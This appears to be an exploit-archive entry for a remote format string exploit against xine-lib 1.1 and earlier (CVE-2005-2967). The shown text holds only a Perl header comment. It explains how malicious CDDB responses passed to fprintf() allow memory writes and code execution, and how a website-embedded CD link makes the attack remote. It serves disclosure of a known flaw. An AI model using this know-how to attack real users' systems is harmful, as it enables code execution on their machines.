Description

xine-lib <= 1.1 (media player library) Remote Format String Exploit. CVE-2005-2967. Remote exploit for linux platform

                                        
                                            #!/usr/bin/perl --
# When playing an Audio CD, using xine-lib based media application, 
# the library contacts a CDDB server to retrieve metadata like the 
# title and artist's name. During processing of this data, a response 
# from the server, which is located in memory on the stack, is passed 
# to the fprintf() function as a format string.
# An attacker can set up a malicious CDDB server and trick the client 
# into using this server instead of the pre-configured one. Alternatively, 
# any user and therefore the attacker can modify entries in the official 
# CDDB server. Using this format string vulnerability, attacker-chosen 
# data can be written to an attacker-chosen memory location. This allows 
# the attacker to alter the control flow and to execute malicious code with 
# the permissions of the user running the application.
# Although it requires the user to play an Audio CD, this vulnerability can 
# still be exploited remotely, because a xine Audio CD MRL 
# (media resource locator) could be embedded into a website. Added for future ref. /str0ke
